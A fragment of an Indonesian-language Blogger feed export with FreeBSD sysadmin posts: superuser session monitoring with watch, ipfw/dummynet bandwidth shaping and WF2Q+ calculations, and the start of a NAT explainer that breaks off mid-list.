/&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5945497430847840529?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5945497430847840529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5945497430847840529'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/02/manajemen-bandwidth-di-squid.html' title='Manajemen Bandwidth Di Squid Menggunakan Delay Pools'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4710423337538803775</id><published>2010-02-23T20:52:00.000-08:00</published><updated>2010-03-16T20:08:58.319-07:00</updated><title type='text'>Memata-Matai User Di FreeBSD</title><content type='html'>Untuk mengamati ataupun mengintai (snooping) user, kita dapat menggunakan watch. watch hanya dapat di gunakan oleh superuser. Sebelum menggunakan watch kita perlu menambahkan kernel option :&lt;br /&gt;&lt;br /&gt;        pseudo-device     snp&lt;br /&gt;&lt;br /&gt;Kemudian compile dan Install kernel. Setelah reboot kita buat snoop device :&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;        # cd /dev&lt;br /&gt;        # sh MAKEDEV snp0&lt;br /&gt;&lt;br /&gt;baru kita coba, kita lihat dulu user mana yg masih login &lt;br /&gt;&lt;br /&gt;        #w&lt;br /&gt;        USER     TTY     FROM     LOGIN@         IDLE             WHAT&lt;br /&gt;        wus         p0        griya4      4:26AM          1               ./scr-bx&lt;br /&gt;        root         p1        billing      4:03PM          -                 w&lt;br /&gt;        mbuh       p2         -            4:02PM          -               -bash (bash)&lt;br /&gt;&lt;br /&gt;Jalankan watch&lt;br /&gt;&lt;br /&gt;       #watch p0&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-4710423337538803775?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4710423337538803775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/4710423337538803775'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/02/memata-matai-user-di-freebsd.html' title='Memata-Matai User Di FreeBSD'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8477543153747807488</id><published>2010-02-23T20:51:00.000-08:00</published><updated>2010-03-16T20:09:54.999-07:00</updated><title type='text'>Membagi Bandwidth Dengan FreeBSD</title><content type='html'>Mengapa butuh traffic shaping?&lt;br /&gt;&lt;br /&gt;Traffic shaping adalah untuk menghad sesuatu bandwidth mengikut konfigurasi anda. Contohnya, anda mempunyai&lt;br /&gt;10 buah PC di kantor anda dan anda mahu semua PC itu mendapat bandwidth sebanyak 256Kbps. Anda bisa&lt;br /&gt;lakukannya dengan cara ini. Selain itu, anda bisa pastikan sesuatu IP atau port mendapat ‘priority’ dengan&lt;br /&gt;menggunakan WFQ (Weight Fair Queueing)&lt;br /&gt;&lt;br /&gt;Bolehkan benda ni handle banyak connection?&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Mungkin bisa, mungkin tidak juga. Saya udah mencoba cara ini dengan 40 client, dan enggak menghadapi apa-apa masalah.&lt;br /&gt;Pentium II 300 dan 64MB RAM udah cukup bagus untuk menjanakannya. Pastikan anda menggunakan network&lt;br /&gt;card yang berkualitas.&lt;br /&gt;&lt;br /&gt;Langkah 1: Kernel&lt;br /&gt;&lt;br /&gt;Pastikan kernel anda dicompile konfigurasi ini:&lt;br /&gt;options IPFIREWALL&lt;br /&gt;options DUMMYNET&lt;br /&gt;options HZ=1000&lt;br /&gt;‘IPFIREWALL’ adalah untuk filtering, ‘DUMMYNET’ adalah untuk traffic shaping dan ‘HZ=1000′ yang bermaksud operasi&lt;br /&gt;kernel akan dijalankan pada 1ms.&lt;br /&gt;&lt;br /&gt;Langkah 2: IPFW&lt;br /&gt;&lt;br /&gt;IPFW merupakan interface kepada IPFIREWALL dan DUMMYNET. Ianya sudah ada dalam mana-mana OS FreeBSD.&lt;br /&gt;Anda mesti menambah konfigurasi ini dalam /etc/rc.conf supaya IPFW diexecute secara automatik ketika bootup.&lt;br /&gt;firewall_enable=”YES”&lt;br /&gt;firewall_script=”/etc/ipfw.conf”&lt;br /&gt;‘firewall_enable=”YES”‘ bermaksud bahawa rc.conf akan execute ipfw pada bootup dengan rules yang diset oleh&lt;br /&gt;‘firewall_script=”/etc/ipfw.conf”‘. Anda boleh menukar nama fail script anda.&lt;br /&gt;Saya tidak akan menerang tentang ipfirewall dan NAT dalam artikel ini, anda perlu rujuk kepada artikel lain berkenaan&lt;br /&gt;perkara tersebut.&lt;br /&gt;&lt;br /&gt;Langkah 3: Konfigurasi IPFW&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Menghad Bandwidth (Bandwidth Limit)&lt;br /&gt;&lt;br /&gt;Anda boleh menghad bandwidth dengan contoh-contoh dibawah:&lt;br /&gt;&lt;br /&gt;contoh 1:&lt;br /&gt;&lt;br /&gt;$ipfw pipe 1 config bw 128Kbit/s&lt;br /&gt;$ipfw pipe 2 config bw 128Kbit/s&lt;br /&gt;$ipfw add pipe 1 all from any to 192.168.1.1 in&lt;br /&gt;$ipfw add pipe 2 all from 192.168.1.1 to any out&lt;br /&gt;Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;contoh 2:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ipfw pipe 1 config mask dst-ip 0×000000ff bw 128Kbit/s&lt;br /&gt;$ipfw pipe 2 config mask src-ip 0×000000ff bw 128Kbit/s&lt;br /&gt;$ipfw add pipe 1 all from any to 192.168.1.0/24 in&lt;br /&gt;$ipfw add pipe 2 all from 192.168.1.0/24 to any out&lt;br /&gt;Konfigurasi ini akan menghad bandwidth download dan upload dari network 192.168.1.0/24 kepada 128Kbps&lt;br /&gt;&lt;br /&gt;WFQ (Weight Fair Queueing)&lt;br /&gt;&lt;br /&gt;Anda boleh mengkofigurasikan mana-mana IP atau port yang akan mendapat ‘priority’ mengikut contoh-contoh dibawah:&lt;br /&gt;&lt;br /&gt;contoh 1:&lt;br /&gt;&lt;br /&gt;$ipfw pipe 1 config bw 128Kbit/s&lt;br /&gt;$ipfw pipe 2 config bw 128Kbit/s&lt;br /&gt;$ipfw queue 100 config pipe 2 weight 90&lt;br /&gt;$ipfw queue 101 config pipe 2 weight 60&lt;br /&gt;$ipfw add pipe 1 all from any to 192.168.1.1 in&lt;br /&gt;$ipfw add queue 100 tcp from 192.168.1.1 to any 22 out&lt;br /&gt;$ipfw add queue 100 tcp from 192.168.1.1 to any 80 out&lt;br /&gt;$ipfw add queue 100 udp from 192.168.1.1 to any 53 out&lt;br /&gt;$ipfw add queue 101 all from 192.168.1.1 to any out&lt;br /&gt;Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps dan memberi&lt;br /&gt;‘priority’ kepada port SSH(22), HTTP(80), dan DNS(53) yang menuju ke luar (pada client).&lt;br /&gt;&lt;br /&gt;contoh 2:&lt;br /&gt;&lt;br /&gt;$ipfw pipe 1 config bw 128Kbit/s&lt;br /&gt;$ipfw pipe 2 config bw 128Kbit/s&lt;br /&gt;$ipfw queue 100 config pipe 1 weight 90&lt;br /&gt;$ipfw queue 101 config pipe 1 weight 60&lt;br /&gt;$ipfw add queue 100 tcp from any to 192.168.1.1 22 in&lt;br /&gt;$ipfw add queue 100 tcp from any to 192.168.1.1 80 in&lt;br /&gt;$ipfw add queue 101 tcp from any to 192.168.1.1 in&lt;br /&gt;$ipfw add pipe 2 all from 192.168.1.1 to any out&lt;br /&gt;Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps dan memberi&lt;br /&gt;‘priority’ kepada port SSH(22), HTTP(80), dan DNS(53) yang menuju ke dalam (pada server).&lt;br /&gt;SIAP! Semua konfigurasi DUMMYNET sudah lengkap, dan tibalah masa untuk menguji benda ini. Enjoy!&lt;br /&gt;&lt;br /&gt;Sumber : azhax@indofreebsd.or.id&lt;br /&gt;&lt;br /&gt;Implementasikan WF2Q+ dengan ipfw&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika anda ingin menimplementasikan WF2Q+ dengan ipfw di mesin dengan tujuan:&lt;br /&gt;- Sharing bandwidth antar client misalnya untuk ratio 1:4.&lt;br /&gt;- Sharing bandwidth evenly/rata diantara client tersebut (Tapi bukan garansi/CIR).&lt;br /&gt;- Adanya bandwidth peak/burst diantara client jika client yg lain idle.&lt;br /&gt;&lt;br /&gt;Sebelumnya pastikan anda running FreeBSD di mesin anda, dengan kompilasi kernel:&lt;br /&gt;&lt;br /&gt;     options     DUMMYNET&lt;br /&gt;      options     HZ=1000&lt;br /&gt;      options     IPFW2&lt;br /&gt;&lt;br /&gt; Untuk sharing bandwidth dengan ratio 1:4 bisa anda kelompokan client anda dalam satu group misalnya:&lt;br /&gt;- Host A, B, C, D diberi bandwidth rebutan/sharing sebesar 128 Kbit/s,&lt;br /&gt;dengan IP Address:&lt;br /&gt;* Host A : 192.168.0.1/32&lt;br /&gt;* Host B : 192.168.0.2/32&lt;br /&gt;* Host C : 192.168.0.3/32&lt;br /&gt;* Host D : 192.168.0.4/32Asumsi subnet yg anda pilih /24 atau 255.255.255.0, jika anda ingin menggunakan&lt;br /&gt;subnetting juga itu lebih bagus.&lt;br /&gt;&lt;br /&gt;Bikin rule di /etc/rc.firewall dan letakan sebelom rule permit/deny:&lt;br /&gt;&lt;br /&gt;ipcl_grup01=”192.168.0.0/24{1,2,3,4}”&lt;br /&gt;bw_share01=”128Kbit/s”&lt;br /&gt;bw_down_share01=”128Kbit/s”&lt;br /&gt;bw_up_share01=”64Kbit/s”&lt;br /&gt;ifint=”inside_interface”&lt;br /&gt;&lt;br /&gt;# Sample format 1 – Limiting downstream saja.&lt;br /&gt;&lt;br /&gt;${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream&lt;br /&gt;${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask dst-ip 0xffffffff&lt;br /&gt;${fwcmd} pipe 1 config queue 4 bw ${bw_down_share01}# Sampel format 2 – Limiting upstream saja.&lt;br /&gt;${fwcmd} add 1 queue 1 ip from ${ipcl_group01} to any in via ${ifint} // Upstream&lt;br /&gt;${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask src-ip 0xffffffff&lt;br /&gt;${fwcmd} pipe 1 config queue 4 bw ${bw_up_share01}# Sample format 3 – Limiting downstream/upstream menjadi satu flow.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream&lt;br /&gt;${fwcmd} add 2 queue 1 ip from ${ipcl_group01} to any in via ${ifint} // Upstream&lt;br /&gt;${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask all&lt;br /&gt;${fwcmd} pipe 1 config queue 4 bw ${bw_share01}# Sample format 4 – Limiting upstream/downstream dengan masing2 flow terpisah.&lt;br /&gt;${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream&lt;br /&gt;${fwcmd} add 2 queue 2 ip from ${ipcl_group01} to any in via ${ifint} // Upstream&lt;br /&gt;${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask dst-ip 0xffffffff&lt;br /&gt;${fwcmd} queue 2 config weight 50 queue 4 pipe 2 mask src-ip 0xffffffff&lt;br /&gt;${fwcmd} pipe 1 config queue 4 bw ${bw_down_share01}&lt;br /&gt;${fwcmd} pipe 2 config queue 4 bw ${bw_up_share01}WF2Q+ merupakan varian dari sistem quering policy, dan jangan lupa setelah di assign&lt;br /&gt;via “queue” mesti terhubung ke “pipe”.&lt;br /&gt;&lt;br /&gt;Keterangan:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- queue [Dibagian rule : ${fwcmd} add 1 queue...] : Assign untuk rule WF2Q+.&lt;br /&gt;- weight : Nilei pembanding flow quering (Bukan priority).&lt;br /&gt;Default 1, allow [1 s/d 100].&lt;br /&gt;- queue [Dibagian rule : ${fwcmd} queue 1 config weight 50 queue...] : Ukuran/jumlah dari “queue/slot” sbg pembanding&lt;br /&gt;terhadap jumlah bandwidth. Default 50.&lt;br /&gt;- queue [Dibagian rule : ${fwcmd} pipe 1 config queue...] : Ukuran/jumlah dari “queue/slot” sbg pembanding terhadap&lt;br /&gt;jumlah bandwidth. Default 50&lt;br /&gt;- pipe : Assign rule untuk ukuran bandwidth yg terkoneksi.&lt;br /&gt;- mask dst-ip/src-ip : Digunakan untuk masking IP Address/subneting dan port. “dst-ip” digunakan untuk “downstream”,&lt;br /&gt;“src-ip” digunakan untuk “upstream” dari sample rule diatas (Tergantung dari posisi IP client&lt;br /&gt;/port). 0xffffffff adalah value subnet, sama dengan “0.0.0.0/0″ (Match all IP Address). Untuk&lt;br /&gt;port default “0×0000″ artinya tidak menspesifikan/pembatasan port.Perhitungan:&lt;br /&gt;&lt;br /&gt;bw_perclient = (w_client / w_jumlah_) * bw_totalSample diatas perclient mempunyai weight masing2 50, total bw 128 Kbit/s. Katakanlah untuk host A bisa  dikalkulasikan sbb:&lt;br /&gt;&lt;br /&gt;bw_host_A = (50 / (50*4)) * 128 Kbit/s&lt;br /&gt;= (50 / 200) * 128 Kbit/s&lt;br /&gt;= 32 Kbit/s&lt;br /&gt;&lt;br /&gt;Jika semua host aktif maka dummynet akan berusaha membagi rata sejumlah 32 Kbit/s per hostnya. Nah contoh diatas  mempunyai weight yg sama besarnya, gimana kalo contohnya begini:&lt;br /&gt;&lt;br /&gt;w_host_A = 30&lt;br /&gt;w_host_B = 50&lt;br /&gt;w_host_C = 50&lt;br /&gt;w_host_D = 50&lt;br /&gt;&lt;br /&gt;Maka bisa kita kalkulasikan bw yg didapat oleh host A dan host B sbb:&lt;br /&gt;&lt;br /&gt;bw_host_A = (30 / (30+50+50+50)) * 128 Kbit/s&lt;br /&gt;= (30 / 180) * 128 Kbit/s&lt;br /&gt;= 21.333 Kbit/s&lt;br /&gt;&lt;br /&gt;bw_host_B = (50 / (30+50+50+50)) * 128 Kbit/s&lt;br /&gt;= (50 / 180) * 128 Kbit/s&lt;br /&gt;= 35.55 Kbit/s&lt;br /&gt;&lt;br /&gt;Contoh lain:&lt;br /&gt;&lt;br /&gt;w_host_A = 10&lt;br /&gt;w_host_B = 20&lt;br /&gt;w_host_C = 30&lt;br /&gt;w_host_D = 40&lt;br /&gt;&lt;br /&gt;bw_host_A = (10 / (10+20+30+40)) * 128 Kbit/s&lt;br /&gt;= (10 / 100) * 128 Kbit/s&lt;br /&gt;= 12.8 Kbit/s&lt;br /&gt;&lt;br /&gt;bw_host_B = (20 / (10+20+30+40)) * 128 Kbit/s&lt;br /&gt;= (20 / 100) * 128 Kbit/s&lt;br /&gt;= 25.6 Kbit/s&lt;br /&gt;&lt;br /&gt;Perhitungan “queue slot”. Dalam hal ini queue di rule diatas adalah 4, maka bisa dikalkulasikan:&lt;br /&gt;&lt;br /&gt;bw_perclient = bw_total/slot_queue&lt;br /&gt;&lt;br /&gt;Dari sample diatas bisa dihitung untuk host A sbb:&lt;br /&gt;&lt;br /&gt;bw_host_A = 128 Kbit/s / 4&lt;br /&gt;= 32 Kbit/s&lt;br /&gt;&lt;br /&gt;Jika semua host aktif maka dummynet akan berusaha membagi rata bandwidth 32 Kbit/s per slot-nya (1 slot = 32 Kbit/s).&lt;br /&gt;&lt;br /&gt;IMHO, “queue slot” mendingan disesuaikan dengan jumlah client yg share, contoh diatas 1:4 berarti “queue slot”-nya 4.&lt;br /&gt;Jika kita rubah misalnya “queue slot” menjadi 8 slot maka ada kemungkinan host A akan menggunakan lebih dari 1 slot,&lt;br /&gt;artinya bisa cenderung ngerebut slot jatah host lain.&lt;br /&gt;&lt;br /&gt;Sample output:&lt;br /&gt;root:~# uname -srnm&lt;br /&gt;FreeBSD gw-core-introuter.kumprang.com 4.10-STABLE i386&lt;br /&gt;&lt;br /&gt;root:~# ipfw queue show&lt;br /&gt;00001: 24.000 Kbit/s 0 ms 50 sl. 1 queues (1 buckets) droptail&lt;br /&gt;mask: 0×00 0×00000000/0×0000 -&gt; 0×00000000/0×0000&lt;br /&gt;BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp&lt;br /&gt;0 tcp 74.6.68.227/42040 202.146.228.9/80 5535 3192733 0 0 0&lt;br /&gt;00002: 68.000 Kbit/s 0 ms 6 sl. 0 queues (1 buckets) droptail&lt;br /&gt;mask: 0×00 0×00000000/0×0000 -&gt; 0×00000000/0×0000&lt;br /&gt;00003: 36.000 Kbit/s 0 ms 6 sl. 0 queues (1 buckets) droptail&lt;br /&gt;mask: 0×00 0×00000000/0×0000 -&gt; 0×00000000/0×0000&lt;br /&gt;q00001: weight 50 pipe 2 6 sl. 6 queues (64 buckets) droptail&lt;br /&gt;mask: 0×00 0×00000000/0×0000 -&gt; 0xffffffff/0×0000&lt;br /&gt;BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp&lt;br /&gt;17 ip 0.0.0.0/0 192.168.1.1/0 81105 53885327 0 0 2960&lt;br /&gt;26 ip 0.0.0.0/0 192.168.1.10/0 121939 96279102 0 0 3719&lt;br /&gt;27 ip 0.0.0.0/0 192.168.1.11/0 134476 96276870 0 0 6141&lt;br /&gt;28 ip 0.0.0.0/0 192.168.1.12/0 35325 17986730 0 0 1243&lt;br /&gt;29 ip 0.0.0.0/0 192.168.1.13/0 43479 35034555 0 0 1247&lt;br /&gt;34 ip 0.0.0.0/0 192.168.1.50/0 154963 152289033 0 0 8521&lt;br /&gt;q00002: weight 50 pipe 3 6 sl. 6 queues (64 buckets) droptail&lt;br /&gt;mask: 0×00 0xffffffff/0×0000 -&gt; 0×00000000/0×0000&lt;br /&gt;BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp&lt;br /&gt;12 ip 192.168.1.50/0 0.0.0.0/0 128724 17526438 0 0 211&lt;br /&gt;42 ip 192.168.1.1/0 0.0.0.0/0 71625 8097141 0 0 592&lt;br /&gt;48 ip 192.168.1.12/0 0.0.0.0/0 28546 2747603 0 0 131&lt;br /&gt;50 ip 192.168.1.13/0 0.0.0.0/0 32582 3594117 0 0 29&lt;br /&gt;60 ip 192.168.1.10/0 0.0.0.0/0 102737 10325047 0 0 73&lt;br /&gt;62 ip 192.168.1.11/0 0.0.0.0/0 89624 8851578 0 0 100&lt;br /&gt;&lt;br /&gt;Keterangan:&lt;br /&gt;Kolom paling kanan pertanda paket yg sudah di-”drop”, uji gampangnya lihat saja jika kita download gede2an&lt;br /&gt;(pake getright/flashget) pasti banyak yg didrop sesuai dengan perhitungan diatas. Dan silahkan coba download dengan&lt;br /&gt;cara dilimit di client (pake getright/flashget misalnya) sesuei dengan perhitungan diatas, nah gimana hasilnya tuh :-) .&lt;br /&gt;&lt;br /&gt;Sistem kerjanya, andaikata host A menggunakan bandwidth melebihi kapasitas sharing bandwidth bedasarkan perhitungan&lt;br /&gt;diatas dan host B pada saat bersamaan mulai ngeload bandwidth (katakanlah mulai ngeclick browser) maka host A akan&lt;br /&gt;didrop secara random untuk memberikan kesempatan kepada host B sampai kedudukannya seimbang (katakanlah jika bandiwidth&lt;br /&gt;128 Kbit/s maka host A akan mendapatkan 64 Kbit/s dan host B akan mendapatkan 64 Kbit/s), dan ketika host B tidak&lt;br /&gt;ngeload bandwidth (idle) maka host A akan mendapatkan bandwidth 128 Kbit/s kembali.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8477543153747807488?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8477543153747807488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8477543153747807488'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/02/membagi-bandwidth-dengan-freebsd.html' title='Membagi Bandwidth Dengan FreeBSD'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-24084992404225403</id><published>2010-02-23T20:48:00.000-08:00</published><updated>2010-03-16T20:10:52.222-07:00</updated><title type='text'>Network Address Translation (NAT): Cara lain menghemat IP Address</title><content type='html'>Misi awal Internet adalah sebagai jaringan komunikasi non-profit. Pada awalnya, Internet didesain  tanpa memperhatikan dunia bisnis. Kemudian hal ini  menjadi masalah sekarang dan di masa depan. Dengan semakin banyaknya penghuni Internet, baik pencari informasi maupun penyedia informasi, maka kebutuhan akan pengalamatan di Internet makin membengkak. Kebutuhan besar akan IP address biasanya terjadi di jaringan komputer perusahaan dan LAN-LAN di lembaga pendidikan.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;IP address sebagai sarana pengalamatan di Internet semakin menjadi barang mewah dan ekslusif. Tidak sembarang orang sekarang ini bisa mendapatkan IP address yang valid dengan mudah. Oleh karena itulah dibutuhkan suatu mekanisme yang dapat  menghemat IP address. Logika sederhana untuk penghematan IP address ialah dengan meng-share suatu nomor IP address valid ke beberapa client IP lainnya. Atau dengan kata lain beberapa komputer bisa mengakses Internet walau kita hanya memiliki satu IP address yang valid. Salah satu Mekanisme itu disediakan oleh Network Address Translation (NAT)&lt;br /&gt;&lt;br /&gt;Beberapa Konsep Dasar&lt;br /&gt;&lt;br /&gt;Sebelum kita membahas lebih lanjut ada baiknya kita urai kembali konsep-konsep dasar yang harus dipahami sebelum masuk ke NAT. Diantaranya adalah TCP/IP, Gateway/Router, dan Firewall.&lt;br /&gt;&lt;br /&gt;TCP/IP&lt;br /&gt;&lt;br /&gt;Protokol yang menjadi standar dan dipakai hampir oleh seluruh komunitas Internet adalah TCP/IP (Transmission Control Protocol/Internet Protocol). Agar komputer bisa berkomunikasi dengan komputer lainnya, maka menurut aturan TCP/IP, komputer tersebut harus memiliki suatu address yang unik. Alamat tersebut dinamakan IP address. IP Address memiliki format sbb: aaa.bbb.ccc.ddd. Contohnya: 167.205.19.33&lt;br /&gt;Yang penting adalah bahwa untuk berkomunikasi di Internet, komputer harus memiliki IP address yang legal. Legal dalam hal ini artinya adalah bahwa alamat tersebut dikenali oleh semua router di dunia dan diketahui bahwa alamat tersebut tidak ada duplikatnya di tempat lain. IP address legal biasanya diperoleh dengan menghubungi InterNIC.&lt;br /&gt;Suatu jaringan internal bisa saja menggunakan IP address sembarang. Namun untuk tersambung ke Internet,  jaringan itu tetap harus menggunakan IP address legal. Jika masalah routing tidak dibereskan (tidak menggunakan IP address legal), maka saat sistem kita mengirim paket data ke sistem lain, sistem tujuan itu tidak akan bisa mengembalikan paket data tersebut, sehingga komunikasi tidak akan terjadi.&lt;br /&gt;Dalam berkomunikasi di Internet/antar jaringan komputer dibutuhkan gateway/router sebagai jembatan yang menghubungkan simpul-simpul antar jaringan sehingga paket data bisa diantar sampai ke tujuan.&lt;br /&gt;&lt;br /&gt;Gateway/Router&lt;br /&gt;&lt;br /&gt;Gateway adalah komputer yang memiliki minimal 2 buah network interface untuk menghubungkan 2 buah jaringan atau lebih. Di Internet suatu alamat bisa ditempuh lewat gateway-gateway yang memberikan jalan/rute ke arah mana yang harus dilalui supaya paket data sampai ke tujuan. Kebanyakan gateway menjalankan routing daemon (program yang meng-update secara dinamis tabel routing). Karena itu gateway juga biasanya berfungsi sebagai router. Gateway/router bisa berbentuk Router box seperti yang di produksi Cisco, 3COM, dll atau bisa juga berupa komputer yang menjalankan Network Operating System plus routing daemon. Misalkan PC yang dipasang Unix FreeBSD dan menjalankan program Routed atau Gated. Namun dalam pemakaian Natd, routing daemon tidak perlu dijalankan, jadi cukup dipasang gateway saja.&lt;br /&gt;Karena gateway/router  mengatur lalu lintas paket data antar jaringan, maka di dalamnya bisa dipasangi mekanisme pembatasan atau pengamanan (filtering) paket-paket data. Mekanisme ini disebut Firewall.&lt;br /&gt;&lt;br /&gt;Firewall&lt;br /&gt;&lt;br /&gt;Sebenarnya Firewall adalah suatu program yang dijalankan di gateway/router yang bertugas memeriksa setiap paket data yang lewat kemudian membandingkannya dengan rule yang diterapkan dan akhirnya memutuskan apakah paket data tersebut boleh diteruskan atau ditolak. Tujuan dasarnya adalah sebagai security yang melindungi jaringan internal dari ancaman dari luar. Namun dalam tulisan ini Firewall digunakan sebagai basis untuk menjalankan Network Address Translation (NAT).&lt;br /&gt;Dalam FreeBSD, program yang dijalankan sebagai Firewall adalah ipfw. Sebelum dapat menjalankan ipfw, kernel GENERIC harus dimodifikasi supaya mendukung fungsi firewall. Ipfw mengatur lalu lintas paket data berdasarkan IP asal, IP tujuan,  nomor port, dan jenis protocol. Untuk menjalankan NAT, option IPDIVERT harus diaktifkan dalam kernel.&lt;br /&gt; &lt;br /&gt;DIVERT (mekanisme diversi paket kernel)&lt;br /&gt;&lt;br /&gt;Socket divert sebenarnya sama saja dengan socket IP biasa, kecuali bahwa socket divert bisa di bind ke port divert khusus lewat bind system call. IP address dalam bind tidak diperhatikan, hanya nomor port-nya yang diperhatikan. Sebuah socket divert yang dibind ke port divert akan menerima semua paket yang didiversikan pada port tersebut oleh mekanisme di kernel yang dijalankan oleh implementasi filtering dan program ipfw. Mekanisme ini yang dimanfaatkan nantinya oleh Network Address Translator.&lt;br /&gt;Itulah beberapa bahasan awal yang akan mengantar kita ke pembahasan inti selanjutnya.&lt;br /&gt;&lt;br /&gt;Network Address Translation (NAT)&lt;br /&gt;&lt;br /&gt;Dalam FreeBSD, mekanisme Network Address Translation (NAT) dijalankan oleh program Natd yang bekerja sebagai daemon. Network Address Translation Daemon (Natd) menyediakan solusi untuk permasalahan penghematan ini dengan cara menyembunyikan IP address jaringan internal, dengan membuat paket yang di-generate di dalam terlihat seolah-olah dihasilkan dari mesin yang memiliki IP address legal. Natd memberikan konektivitas ke dunia luar tanpa harus menggunakan IP address legal dalam jaringan internal.&lt;br /&gt;Natd menyediakan fasilitas Network Address Translation untuk digunakan dengan socket divert. Natd mengubah semua paket yang ditujukan ke host lain sedemikian sehingga source IP addressnya berasal dari mesin Natd. Untuk setiap paket yang diubah berdasarkan aturan ini, dibuat tabel translasi untuk mencatat transaksi ini.&lt;br /&gt;Dengan NAT, aturan bahwa untuk berkomunikasi harus menggunakan IP address legal, dilanggar.NAT bekerja dengan jalan mengkonversikan  IP-IP address ke satu atau lebih IP address lain. IP address yang dikonversi adalah IP address yang diberikan untuk tiap mesin dalam jaringan internal (bisa sembarang IP). IP address yang menjadi hasil konversi terletak di luar jaringan internal tersebut dan merupakan IP address legal yang valid/routable.&lt;br /&gt;&lt;br /&gt;Mekanisme NAT&lt;br /&gt;&lt;br /&gt;Sebuah paket TCP terdiri dari header dan data. Header memiliki sejumlah field di dalamnya, salah satu field yang penting di sini adalah MAC (Media Access Control) address asal dan tujuan, IP address asal dan tujuan, dan nomor port asal dan tujuan.&lt;br /&gt;Saat mesin A menghubungi mesin B, header paket berisi IP A sebagai IP address asal dan IP B sebagai IP address tujuan. Header ini juga berisi nomor port asal (biasanya dipilih oleh mesin pengirim dari sekumpulan nomor port) dan nomor port tujuan yang spesifik, misalnya port 80 (untuk web).&lt;br /&gt;Kemudian B menerima paket pada port 80 dan memilih nomor port balasan untuk digunakan sebagai nomor port asal menggantikan port 80 tadi. Mesin B lalu membalik IP address asal &amp; tujuan dan nomor port asal &amp; tujuan dalam header paket. Sehingga keadaan sekarang IP B adalah IP address asal dan IP A adalah IP address tujuan. Kemudian B mengirim paket itu kembali ke A. Selama session terbuka, paket data hilir mudik menggunakan nomor port yang dipilih.&lt;br /&gt;Router (yang biasa – tanpa Natd) memodifikasi field MAC address asal &amp; tujuan dalam header ketika me-route paket yang melewatinya. IP address, nomor port, dan nomor sequence asal &amp; tujuan tidak disentuh sama sekali.&lt;br /&gt;NAT juga bekerja atas dasar ini. Dimulai dengan membuat tabel translasi internal untuk semua IP address jaringan internal yang mengirim paket melewatinya. Lalu men-set tabel nomor port yang akan digunakan oleh IP address yang valid. Ketika paket dari jaringan internal dikirim ke Natd untuk disampaikan keluar, Natd melakukan hal-hal sebagai berikut:&lt;br /&gt;1. Mencatat IP address dan port asal dalam tabel translasi&lt;br /&gt;2. Menggantikan 